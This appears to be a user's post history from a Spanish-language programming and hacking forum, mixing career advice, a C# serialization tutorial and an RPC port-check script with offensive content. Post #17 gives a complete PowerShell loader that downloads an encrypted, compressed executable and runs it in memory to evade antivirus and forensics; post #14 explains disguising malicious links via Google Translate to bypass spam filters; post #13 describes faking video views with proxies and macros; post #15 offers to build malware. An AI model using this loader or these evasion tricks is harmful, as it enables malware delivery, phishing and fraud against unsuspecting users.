Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - 79137913

#1
HOLA!!!

Por la simplicidad del sistema que planteas yo haria un googleform + una automatizacion con zappier o algo asi para generar un mail con el remito cada vez que se llena el formulario.
Es algo que podrias terminar en menos de un dia.

GRACIAS POR LEER!!!
#2
HOLA!!!

Todo suma sin duda, en general te haran un examen tecnico. Y luego una entrevista tecnica.

GRACIAS POR LEER!!!
#3
HOLA!!!

Los programas que no se cierran usualmente no lo hacen porque tienen hooks abiertos a algun archivo, como el hook no se cierra previene el cerrado del programa.

Otros programas tienen mecanismos para bloquear el kill del proceso.

GRACIAS POR LEER!!!
#4
HOLA!!!

1) Impacto visual, usa No tienes permitido ver los links. Registrarse o Entrar a mi cuenta la version gratis te permite hacer CVS muy lindos de maximo 1 hoja, lo cual no es problema porque siempre se recomienda 1 pagina como maximo.
2) Solo informacion relevante para el puesto. (a un reclutador Tech no le interesa si trabajaste en una verduleria de pequeño o de cajero de un supermercado.
3) Si no tienes experiencia haz un portafolio y adjuntalo.
4) Fijate que tu CV sea facil de leer y entender, que vaya al grano y que no deje ninguna duda.
5) Busca palabras que sean de facil entendimiento para el reclutador, si pones muchas cosas super tecnicas ellos no entenderan. (por ejemplo si sabes C# no pongas C#, pon NET, y si sabes SQL pone Bases de datos Relacionales.
6) Una buena foto, hoy con IA puedes hacerla sin problema.
7) Si queres pon tu CV aqui y te digo que ajustar.
8) te dejo mi CV para que lo veas, borre todo lo personal.


GRACIAS POR LEER!!!
#5
Dudas y pedidos generales / Re:CV primer trabajo
Marzo 06, 2024, 12:25:53 PM
HOLA!!!

Usa esta web, es la mejor y la parte gratis sirve para la mayoria de los CVS
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

GRACIAS POR LEER!!!
#6
C# - VB.NET / Re:Serializar Json y XML
Febrero 22, 2024, 10:17:30 AM
HOLA!!!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

GRACIAS POR LEER!!!
#7
C# - VB.NET / Serializacion JSON y XML en C#
Febrero 22, 2024, 10:16:47 AM
HOLA!!!

En este post, vamos a sumergirnos en el mundo de la serialización de datos en C#, centrándonos específicamente en dos formatos populares: XML y JSON. La serialización es un proceso crucial en el desarrollo de aplicaciones, ya que nos permite convertir objetos en estructuras de datos que pueden ser almacenadas o transmitidas de manera eficiente.

¿Qué es la Serialización?

La serialización es el proceso de convertir objetos en un formato específico que puede ser almacenado o transmitido y luego reconstruido en su forma original. En el contexto de C#, XML y JSON son dos formatos comúnmente utilizados para este propósito.

Serialización de XML en C#

XML (Extensible Markup Language) es un formato de texto que es muy utilizado para el intercambio de datos estructurados. En C#, la serialización de XML se realiza utilizando la clase XmlSerializer, que permite convertir objetos en documentos XML y viceversa.

Código: csharp
// Ejemplo de serialización de XML en C#
using System;
using System.IO;
using System.Xml.Serialization;

public class Program
{
    public static void Main(string[] args)
    {
        // Objeto a serializar
        var persona = new Persona { Nombre = "Juan", Edad = 30 };

        // Serializar objeto a XML
        var serializer = new XmlSerializer(typeof(Persona));
        using (var stream = new StreamWriter("persona.xml"))
        {
            serializer.Serialize(stream, persona);
        }
    }
}

public class Persona
{
    public string Nombre { get; set; }
    public int Edad { get; set; }
}

Serialización de JSON en C#

JSON (JavaScript Object Notation) es un formato ligero de intercambio de datos que es fácil de leer y escribir para los humanos. En C#, la serialización de JSON se puede realizar utilizando la biblioteca System.Text.Json o Newtonsoft.Json.

Código: csharp
// Ejemplo de serialización de JSON en C#
using System;
using System.IO;
using System.Text.Json;

public class Program
{
    public static void Main(string[] args)
    {
        // Objeto a serializar
        var persona = new Persona { Nombre = "Maria", Edad = 25 };

        // Serializar objeto a JSON
        var jsonString = JsonSerializer.Serialize(persona);
        File.WriteAllText("persona.json", jsonString);
    }
}

public class Persona
{
    public string Nombre { get; set; }
    public int Edad { get; set; }
}

No dudes en compartir tus propias experiencias y preguntas!

GRACIAS POR LEER!!!
#8
HOLA!!!
Ten en en cuenta una cosa @topgun1964 si haces la transferencia en crypto en la paga no hay vuelta atras, por lo cual revisa bien los contratos y que pongan claramente en que address y blockchain quieren el dinero. No quiero que te terminen estafando.
GRACIAS POR LEER!!!
#9
HOLA!!!

Una sola cosa más que agregar a esto que te aclaran.
Pídele a tu isp que ponga el módem en modo bridge para asegurarte que todos los puertos son forwardeados a tu servidor, es posible que debas poner un router de tu propiedad si quieres conectar más pcs o dispositivos.

GRACIAS POR LEER!!!
#10
HOLA!!!
Se que lo querés en español, pero esta es la biblia de Windows No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
GRACIAS POR LEER!!!
#11
HOLA!!!

Tenes 2 opciones

1) Funcion =RAIZ(numero) devuelve la raiz cuadrada del numero.-

2) Utilizar equivalentes de potenciacion: =numero^0.5 devuelve la raiz cuadrada del numero.-

GRACIAS POR LEER!!!
#12
HOLA!!!

Chicos esto es ilegal, cierro el tema.

GRACIAS POR LEER!!!
#13
HOLA!!!

Veamos, si, con iMacros se puede, el tema es que tendrias que tener un sistema que te cambie de proxy o vpn cada vez y estas webs ya detectan cuando entras por proxis y no cuentas las vistas, para YT te recomiendo addmefast, es una plataforma colaborativa que permite que gente real vea tu video y vos por tu lado podes automatizar el farmeo de puntos por medio de iMacros.

Para PornHub en cambio, lo que deberias hacer es lo que mencione antes, proxy switcher + macro que vea el video.

GRACIAS POR LEER!!!
#14
Hacking / Link Filter Bypass
Octubre 13, 2021, 09:58:37 AM
HOLA!!!

Bueno, hoy les traigo la mejor forma de Bypassear los filtros de links que envian nuestros email maliciosos a Spam, o bien anulan el envio de mensajes directos por ciertas redes sociales, como Twitter por ejemplo.

La tecnica es muy simple y es muy dificil que alguien pueda fixearla.

Simplemente tomaremos nuestro link malicioso y lo pegaremos en google translate, ahi solo deberan entrar en el link que les genera y compartir esa URL, el dominio detectado sera el de google translate.

De esta forma podran bypassear a casi cualquier link filter.

GRACIAS POR LEER!!!
#15
HOLA!!!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Pena grande que no tenga inclinación por ensamblar malware.
Pero... quién sabe

Quien dijo que no tengo inclinacion a ensamblar malware? Lo he hecho toda mi vida, si queres armar algo avisame al privado!

GRACIAS POR LEER!!!
#16
HOLA!!!

@AXCESS , ¿Haz dicho "Nuevo"?

Lee esto: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

GRACIAS POR LEER!!!
#17
HOLA!!!

Se me ocurrio el otro dia ponerme a armar un script que permita hacer una ejecucion en memoria sin dejar rastros para forenses despues de la ejecucion de nuestro script, luego pasaron cosas y decidi agregarle que el ejecutable descargado se descifre para que el AV no pueda detectar la descarga y para ultima seguridad el ejecutable aparte de estar cifrado estaria zipeado. Asique como imaginaran esto es un incordio para que cualquier AV lo detecte on the fly, y como se ejecuta en memoria solo tenemos que cuidar la heuristica en ejecucion de lo que descarguemos y va a funcionar sin problemas.

Sin mas, al codigo:
Código: php

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

$wc = New-Object -TypeName System.Net.WebClient

$wc.Headers.Add("Accept-Language", "en-US,en;q=0." + ([IntPtr]::Size – 1).ToString())

$wc.Headers.Add("User-Agent", "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)")

$rndn = Get-Random

$wc.Headers.Add("Cookie", "p=" + $rndn)

$data = $wc.DownloadData("[URL AL PROGRAMA]")

#PARAMETROS PARA EJECUTAR (OPCIONAL)
[string[]]$xags = "/s", "[SERVER]", "/p", "[PORT]"

#INICIO DE PROCESO DE DESCIFRADO (OPCIONAL)
$Passphrase = "[CLAVE CIFRADO]"

$salts = "[SALT]"

$r = new-Object System.Security.Cryptography.RijndaelManaged

$pass = [System.Text.Encoding]::UTF8.GetBytes($Passphrase)

$salt = [System.Text.Encoding]::UTF8.GetBytes($salts)



$r.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $pass, $salt, "SHA1″, 5).GetBytes(32) #256/8

$r.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($rndn) )[0..15]



$d = $r.CreateDecryptor()

$ms = new-Object IO.MemoryStream @(,$data)

$cs = new-Object Security.Cryptography.CryptoStream $ms,$d,"Read"
#FIN DE PROCESO DE DESCIFRADO (OPCIONAL)

#DESCOMPRESION (OPCIONAL)
$dfs = New-Object System.IO.Compression.GzipStream $cs, ([IO.Compression.CompressionMode]::Decompress)

$msout = New-Object System.IO.MemoryStream

[byte[]]$buffer = new-object byte[] 4096

[int]$count = 0

do

{

$count = $dfs.Read($buffer, 0, $buffer.Length)

$msout.Write($buffer, 0, $count)

} while ($count -gt 0)



$dfs.Close()

$cs.Close()

$ms.Close()

$r.Clear()



[byte[]]$bin = $msout.ToArray()

$al = New-Object -TypeName System.Collections.ArrayList

#AGREGAR PARAMETROS AL EJECUTABLE (OPCIONAL)
$al.Add($xags) 

$asm = [System.Reflection.Assembly]::Load($bin)

$asm.EntryPoint.Invoke($null, $al.ToArray())

sleep 5

Exit


GRACIAS POR LEER!!!
#18
HOLA!!!

Alguna vez les paso tener que arreglar el problema de "RPC Unavailable" error 1722?, que siempre queda mal en nuestros scripts de active directory o el Configuration manager (ademas de otros lados)ts

Para prevenir esto cree este script que permite verificarlo en batch por servidor, asi no estamos siempre con los mismos problemas de firewall o configuracion.


Sin mas preambulo el codigo:
Código: text

#  Como ejecutar:  RPCCheck -Server NombreDelServidorAqui
#
#  Requerimientos:  portqry.exe (de Sysinternals).
#  El path a portqry.exe tendra que reflectar la ubicacion del script.
#
Param(
[string]$Server
)

workflow Check-Port {
param ([string[]]$RPCServer,[array]$arrRPCPorts)
$comp = hostname

ForEach -parallel ($RPCPort in $arrRPCPorts)
{
$bolResult = InlineScript{Test-NetConnection -ComputerName $Using:RPCServer -port $Using:RPCPort _
-InformationLevel Quiet}
If ($bolResult)
{
Write-Output "$RPCPort en $RPCServer esta disponible"
}
Else
{
Write-Output "$RPCPort en $RPCServer no esta disponible "
}
}
}
$strRPCPort = "135"
#  MODIFICAR ESTE PATH A LA CARPETA DE SYSINTERNALS
$strPortQryPath = "C:\Sysinternals"
If (Test-Path "$strPortQryPath\PortQry.exe")
{
$strPortQryCmd = "$strPortQryPath\PortQry.exe -e $strRPCPort -n $Server"
}
Else
{
Write-Output "Could not locate Portqry.exe at the path $strPortQryPath"
Exit
}
$arrPorts = @()
$arrQuryResult = Invoke-Expression $strPortQryCmd
ForEach ($strResult in $arrQuryResult)
{
If ($strResult.Contains("ip_tcp"))
{
$arrSplt = $strResult.Split("[")
$strPort = $arrSplt[1]
$strPort = $strPort.Replace("]","")
$arrPorts += $strPort
}
}
$arrPorts = $arrPorts | Sort-Object |Select-Object -Unique
Check-Port -RPCServer $Server -arrRPCPorts $arrPorts


Atención:

Tienen que instalar PortQry.
Tendran que escribir el Path del PortQry.exe en esta linea del script: $strPortQryPath = "C:\Sysinternals"
Ademas necesitan PowerShell v4
PortQry.exe se descarga de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

GRACIAS POR LEER!!!
#19
HOLA!!!

Espero escuchar novedades acerca de esto! Me alegra haberte podido ayudar.

GRACIAS POR LEER!!!
#20
HOLA!!!

No, el OCX no usaba el VBS era totalmente al reves, el VBS llamaba al OCX y cada control del OCX tenia un sub en el VBS para que cuando pasara X se ejecute su codigo.

GRACIAS POR LEER!!!